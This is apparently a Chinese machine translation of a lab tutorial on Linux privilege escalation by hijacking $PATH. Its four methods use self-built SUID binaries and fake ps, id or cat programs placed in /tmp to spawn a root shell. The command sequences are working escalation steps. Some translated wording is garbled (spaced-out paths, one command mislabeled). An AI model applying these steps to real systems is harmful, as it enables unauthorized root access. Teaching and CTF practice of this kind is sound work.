使用PATH变量的Linux权限升级

在解决了几个OSCP挑战之后,我们决定写一篇关于Linux权限升级的各种方法的文章,这对我们的读者进行渗透测试项目可能会有所帮助。在本文中,我们将学习“操纵$ PATH变量的各种方法”以获取远程主机的根访问权限,以及CTF使用的技术挑战生成导致特权升级的$ PATH漏洞。如果你已经解决了CTF对Post Exploit的挑战,那么通过阅读这篇文章,你将会意识到导致特权升级的一些漏洞。

开始吧!!
介绍

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上运行任何命令时,它会通过PATH变量来响应用户执行的命令,向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin and /usr/sbin条目以便于执行系统管理命令。

用echo命令查看重要用户的路径非常简单。

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你注意到’。’ 在环境PATH变量中,它表示登录的用户可以从当前目录执行二进制文件/脚本,并且它可以成为攻击者升级超级用户权限的绝佳技术。这是因为在编写程序时缺乏注意力,因此管理员没有指定程序的完整路径。

方法1

Ubuntu LAB SET_UP

目前,我们位于/ home / raj目录,我们将在其中创建一个名为/ script的新目录。现在在脚本目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwd
mkdir script
cd /script
nano demo.c

正如你可以在我们的demo.c文件中看到的,我们正在调用ps命令,它是系统二进制文件。

然后使用gcc编译demo.c文件,并将SUID权限提升到编译的文件。


ls gcc demo.c -o shell chmod u+s shell ls -la shell

渗透受害者的VM机器

首先,你需要妥协目标系统,然后进入特权升级阶段。假设您通过ssh成功登录到受害者的机器。然后在Find命令的帮助下不浪费时间搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f 2>/dev/null

因此,借助上述命令,攻击者可以枚举任何可执行文件,这里我们还可以观察具有suid权限的/ home / raj / script / shell。

然后我们进入/ home / raj / script并看到一个可执行文件“shell”。所以我们运行这个文件,在这里它看起来像文件外壳程序试图运行PS,这是一个真正的文件/进程状态的bin。

ls
./shell

Echo Command

cd /tmp
echo “/bin/sh” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami

Copy Command

cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami

Symlink command

ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami

注: 符号链接也称为符号链接,如果该目录具有完全权限,则它们将成功运行。在Ubuntu中,在符号链接的情况下,我们已将权限777授予/ script目录。

因此,我们看到攻击者可以操纵环境变量PATH来进行特权升级并获得root访问权限。

方法2

Ubuntu LAB SET_UP

重复上述步骤配置您自己的实验室,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwd
mkdir script
cd /script
nano demo.c

正如你可以在我们的demo.c文件中看到的,我们正在调用id命令,它是系统二进制文件。

然后使用gcc编译demo.c文件,并将SUID权限提升到编译的文件。

ls
gcc demo.c -o shell2
chmod u+s shell2
ls -la shell2

渗透受害者的VM机器

同样,您需要妥协目标系统,然后进入特权升级阶段。假设您通过ssh成功登录到受害者的机器。然后在Find命令的帮助下不浪费时间搜索具有SUID或4000权限的文件。在这里,我们还可以观察具有suid权限的/ home / raj / script / shell2。

find / -perm -u=s -type f 2>/dev/null

然后我们进入/ home / raj / script并看到一个可执行文件“shell2”。所以我们运行这个文件,它看起来像文件shell2试图运行id,这是一个真正的文件里面/箱。

cd /home/raj/script
ls
./shell2

Echo command

cd /tmp
echo “/bin/sh” > id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami

方法3

Ubuntu LAB SET_UP

重复上述步骤设置您自己的实验室,您可以在我们的demo.c文件中观察我们正在调用cat命令从etc / passwd文件中读取内容

然后使用gcc编译demo.c文件,并将SUID权限提升到编译的文件

ls
gcc demo.c -o raj
chmod u+s raj
ls -la raj

渗透受害者的VM机器

再次危害受害者的系统,然后进入特权升级阶段并执行以下命令查看sudo用户列表。

find / -perm -u=s -type f 2>/dev/null

在这里,我们还可以观察/ home / raj / script / raj具有suid权限,然后我们进入/ home / raj / script并看到一个可执行文件“raj”。所以当我们运行这个文件时,它会把etc / passwd文件作为结果。

cd /home/raj/script/
ls
./raj

Nano Editor

cd /tmp
nano cat

现在在终端打开并保存时输入/ bin / bash。

chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami

方法4

Ubuntu LAB SET_UP

重复上面的步骤来设置你自己的实验室,你可以在我们的demo.c文件中看到我们正在调用cat命令来读取/ home / raj中的msg.txt,但是/ home / raj中没有这样的文件。

然后使用gcc编译demo.c文件,并将SUID权限提升到编译的文件。

ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite

渗透受害者的VM机器

再次危害受害者的系统,然后进入特权升级阶段,并执行以下命令查看sudo用户列表。

find / -perm -u=s -type f 2>/dev/null

在这里我们也可以观察到/ home / raj / script / ignite具有suid权限,然后我们进入/ home / raj / script并看到一个可执行文件“点燃”。所以,当我们运行这个文件时,会产生一个错误“cat:/home/raj/msg.txt”作为结果。

cd /home/raj/script
ls
./ignite

Vi编辑器

cd /tmp
vi cat

现在当终端打开并保存时,输入/ bin / bash.

chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami


转载请注明出处: https://www.freearoot.com/index.php/使用path变量的linux权限升级/

文章来源:http://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/